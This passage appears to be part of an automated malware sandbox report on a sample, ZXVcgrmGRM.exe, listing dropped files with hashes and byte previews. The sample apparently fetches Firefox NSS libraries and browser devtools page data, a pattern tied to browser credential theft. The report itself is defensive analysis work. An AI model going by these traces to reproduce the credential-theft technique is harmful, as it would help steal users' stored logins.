Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36718.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090725914488749
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Xtbz8hu3VlXr4CRo1
MD5:	46148B414888B6A644A3E08335DDDD82
SHA1:	2C3ACDB50B3157730022A1737FE148096B8A9162
SHA-256:	2112854AAC632D109B5A68060EC3FCB975D1B5CFC65017ABAC768F8919F03A7E
SHA-512:	639932C0E005C3C6F503EA2766F7E1B8F65037851717C8D32FCEBB2C0B0F05FD27447839D5ADAACFD48705A953C36BF3327D33B814771224C5E791CFF4342451
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF377b2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090725914488749
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM/wuF9hDO6vP6O+2tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynET6Xtbz8hu3VlXr4CRo1
MD5:	46148B414888B6A644A3E08335DDDD82
SHA1:	2C3ACDB50B3157730022A1737FE148096B8A9162
SHA-256:	2112854AAC632D109B5A68060EC3FCB975D1B5CFC65017ABAC768F8919F03A7E
SHA-512:	639932C0E005C3C6F503EA2766F7E1B8F65037851717C8D32FCEBB2C0B0F05FD27447839D5ADAACFD48705A953C36BF3327D33B814771224C5E791CFF4342451
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\ZXVcgrmGRM.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.38578975062232
Encrypted:	false
SSDEEP:	48:SfNaoQJrXTEQJhfNaoQ94V7Q94mfNaoQbC4QsfNaoQDC0UrU0U8QD:6NnQRTEQLNnQ94V7Q94ONnQbC4QYNnQ9
MD5:	EFED5DC705E55EC4451F14541598D689
SHA1:	E82F0BA4C15F9A5ED5A24F40864058E0CE93F707
SHA-256:	9D842A237A73AE56F2E6B7153E304973E4EBE5D2A99B40E4F2D4E4FB60F297A0
SHA-512:	66DCB66F43A9B8B355B4E50802097B604F2080C23C3B0B9D959DCDBAE2BD169D3D1E9461211A97525DA71C911B9102B50D4F65DD2BDFDE66909EBB8F7FEBF478
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E5E3CE91B09105FFBD215F8B6CA03B6D",.. "id": "E5E3CE91B09105FFBD215F8B6CA03B6D",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E5E3CE91B09105FFBD215F8B6CA03B6D"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/70755CC1DC35357A9F2F4094D32D5084",.. "id": "70755CC1DC35357A9F2F4094D32D5084",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/70755CC1DC35357A9F2F4094D32D5084"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 20:02:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9756300826243525
Encrypted:	false
SSDEEP:	48:8V0dUTYgJHbidAKZdA19ehwiZUklqehwtfy+3:8V/Xbnfy
MD5:	3E7455B93AC1E44280AD799BDAE1DA1A
SHA1:	C623071CDFB7A32AEA3BA510FF15B54444FB425A
SHA-256:	D8103FBDF42C9429E0ED04F8E0EC1A8EBCE65493DD34C58D78ECFAA9EF9A65E1
SHA-512:	7064412112F2827BE5D6A8DA3B1E6F560B25290AB6E45DE5FB1A873710DFC3563CB8FDF5F605D559F7CBDA73E2AB6AF603C6E146C5C1D7E55C62C80E707B446F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....4.A..Q..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X7u.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 20:02:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9922026848458145
Encrypted:	false
SSDEEP:	48:8Xp0dUTYgJHbidAKZdA1weh/iZUkAQkqehFtfy+2:85/Xp9QSfy
MD5:	CE8D33D9FCED73A8DADFEB4E45462CA6
SHA1:	CB99ACFC6E87AF064883B4D1B01AA415EF869741
SHA-256:	E77D9011B21D8008F50FF3732D4DA77731C2EAD291206D6BCEE1AC53381871E7
SHA-512:	51ED724C8F9525E6EC222F194CA20B25D363AF2C7935F34255DAEC932FAF93BFA0EB6460EE93B69591C652D4D5D2769657F21FE317C765F5973D49B589E72B09
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....27..Q..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X7u.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.004300703848027
Encrypted:	false
SSDEEP:	48:8xJdUTYgsHbidAKZdA14tseh7sFiZUkmgqeh7s7tfy+BX:8xwXynbfy
MD5:	D7EF589AA923441685A720BAFE6A1AF8
SHA1:	F13E8B37B85BD306F0AE0EB2A8ECA56191E934C5
SHA-256:	FC96C9B1D49A5A76FC4B1D162E687023FAF48A6EFBA5E9A6EDD6228822612EBB
SHA-512:	B5C4A6E188EF5440ED3992C253395B8EF8FF3324F023308DE694B80F0B42A6DB00DB8C06E5B16CA062569EB4B085D793F75CA6B72B48BD3A48E54B9A06DDFAFD
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X7u.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 20:02:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.990172874451025
Encrypted:	false
SSDEEP:	48:8H10dUTYgJHbidAKZdA1vehDiZUkwqehJtfy+R:8H1/XqRfy
MD5:	E41D686EE2A791C39CA1E308B85A570C
SHA1:	1FF12FA8886FC51A9BE326D5E90F875A668FA417
SHA-256:	38E57DCAA0E6E767C5637F5AC1D19A2FA406E61CBB5AF0F5FFB5C59CA9994AD0
SHA-512:	12870B9F78DFDAFB0AD9172F647235056B5A03D84B4657E7B846FC94A3EB6A53B03E66EFEFB3E7CA5803663527F9A0E9F5D0059C85F909ADCA8114C07DA930FC
Malicious:	false
Preview:	L..................F.@.. ...$+.,..../@1..Q..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X7u.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Dec 18 20:02:17 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9810577765415593
Encrypted:	false
SSDEEP:	48:8j0dUTYgJHbidAKZdA1hehBiZUk1W1qehHtfy+C:8j/XK9tfy
MD5:	FC0B6AE8DA7084C2B0FC92F50F3FE66A
SHA1:	FBF92948E1B96FCA172556AC1251BA9A83550A03
SHA-256:	90D25774DB3C055E479D3A587585D4330B94863EE814702C74645EBFAADC517B
SHA-512:	2E6D6373D0F3ABDF6B052668D1992E912EF62689C47C448683BBCE2897D7C2E0D6879CF140788FD25ACE5B70009D03DE219EAD71B8E24047BD90507951EBC310
Malicious:	false
Preview:	L..................F.@.. ...$+.,......<..Q..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.YH.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.YH.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.YH.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.YH............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.YI............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............X7u.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

